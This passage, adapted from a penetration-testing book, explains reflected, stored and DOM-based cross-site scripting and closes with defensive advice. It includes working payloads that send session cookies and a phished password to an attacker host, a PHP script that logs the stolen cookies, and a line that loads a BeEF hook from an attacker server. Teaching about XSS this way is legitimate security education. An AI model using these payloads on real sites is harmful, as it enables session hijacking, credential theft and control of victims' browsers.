An extension of HTML injection issues is the injection of JavaScript code into the web server’s response to the web browser.
A simple test for cross-site scripting (usually abbreviated as XSS) is to enter JavaScript code for an alert box by entering “<script>alert(’XSS’)</script>”.
Because the web application doesn’t filter the input data in any way, the JavaScript alert box appears in the browser.
The data flow in this example looks as follows:
- Entry of JavaScript code into the search form
- Transfer of input data to the server using HTTP GET or HTTP POST
- Reflection of input data one to one back to the web browser
- Execution of the JavaScript code in the web browser
Cross-site scripting doesn’t make a web server vulnerable, but the execution of JavaScript code in the web browser provides interesting options. JavaScript has access to the Document Object Model (DOM) of the browser. The DOM contains all the information of the displayed documents, including cookies and other parameters.
Now the cookies stored for the website (see figure below) can be output. The document. cookie DOM element contains exactly this information:
<script>alert(document.cookie)</script>
The knowledge of a session ID is valuable to an attacker. The session ID identifies the current user session; if the attacker has it available, he or she can take over the target’s current session.
How can this information be transmitted to the attacker? To do this, the attacker must operate a web server that is accessible on the internet and run the following cookie_rec.php PHP script there, for example:
<?php
$cookie=($_GET['cookie']);
$myFile = "CollectedSessions.txt";
$fh = fopen($myFile, 'a') or die("can't open file");
$stringData = $cookie."\n";
fwrite($fh, $stringData);
fclose($fh);
?>
The script expects a GET parameter called cookie and writes its content to the Collected- Sessions.txt file. The JavaScript injection string still needs to be adjusted:
<script>
document.location=
'https://<IP-Attacker>/cookie_recv.php?cookie=' +
document.cookie;
</script>
This will access the attacker’s website, and the website’s local cookies will be transferred to it. With this approach, the vulnerability of a web application to cross-site scripting is a very big threat. The transfer of session information can occur unnoticed in the background.
The following script shows a similar attack vector to deceive a user and transmit the entered data to an attacker on the internet (see figure below):
<scipt>
var password = prompt('Your session has expired.
Please enter your password to continue.','');
document.location =
"https://<IP>/xss/cookie_recv.php?cookie=" + password;
</script>
The examples shown so far belong to the family of reflected cross-site scripting attacks. Reflected here means that JavaScript code is entered or injected directly by the user. However, the exploitability for an attacker is limited; the target must click a prepared link sent via email or placed on a web page.
Stored cross-site scripting attacks pose an even greater threat. In this case, the malicious JavaScript code is placed on a web page, and the target merely needs to visit the page.
Imagine the following scenario: A web forum is vulnerable to cross-site scripting. A registered user drops the JavaScript malware in a forum post accessible to other users. All visitors who see the post also run the JavaScript code. This allows the attacker to collect session IDs from other registered users. If, for example, a forum administrator now reads the post, the attacker is in possession of a session ID with admin rights.
Cross-site scripting can also be used to control infected web browsers. A convenient option is provided by the Browser Exploitation Framework Project (BeEF; https://github.com/beefproject/beef). In addition to the remote control of the web browser, BeEF can also be used to launch local browser exploits that can lead to full access to the target system on outdated systems.
For a successful attack, the JavaScript code from the hook.js BeEF file is reloaded from the internet via an injected JavaScript sequence:
<script src="https://<IP-Angreifer>/hook.js"></script>
To do this, an attacker must operate a BeEF server that’s accessible via the internet. Once a web browser executes the JavaScript hook file, it appears in the overview (see previous figure). Now, with the help of the injected JavaScript code, there is constant communication between the client and the BeEF server. The client performs constant polling for new requests from the BeEF server. Possible commands range from obtaining information to exploiting browser functionality for social engineering attacks to activating the built-in webcam.
The problem here is also the unfiltered redirection of the input data to the results page. The solution to the problem is to filter the input data before it’s processed by the server-side application and encode the output data before it’s sent back to the web browser. Corresponding instructions for defenders can be found, for example, in the OWASP’s Cross-Site Scripting Prevention Cheat Sheet (http://s-prs.co/v5696134).
Likewise, there are numerous cheat sheets that deal with bypassing the corresponding filtering measures (see, for example, http://s-prs.co/v5696135).
In addition to reflected cross-site scripting and stored cross-site scripting attacks, a third family exists: DOM-based XSS. The DOM contains the object-oriented representation of the web page in the browser’s memory. A DOM-based XSS vulnerability occurs when user input (a source) is used unfiltered for the generation of dynamic content in the browser’s JavaScript. The injected data is then executed in so-called sinks. Examples of sources include the following:
location
hash
search
href
Examples of sinks include the following:
write
eval
setInterval
innerHTML
A typical DOM-based XSS attack is performed by the attacker placing the XSS code after the hash symbol:
http://www.mysite.com\#<img src="123" onerror="alert(document.domain)">
The big difference from the XSS variants considered so far is that server-side protection measures or an intermediate web application firewall (WAF) have no effect as the attack is limited to the local browser.
Editor’s note: This post has been adapted from a section of the book Hacking and Security: The Comprehensive Guide to Penetration Testing and Cybersecurity by Michael Kofler, Klaus Gebeshuber, Peter Kloep, Frank Neugebauer, André Zingsheim, Thomas Hackner, Markus Widl, Roland Aigner, Stefan Kania, Tobias Scheible, and Matthias Wübbeling.
Comments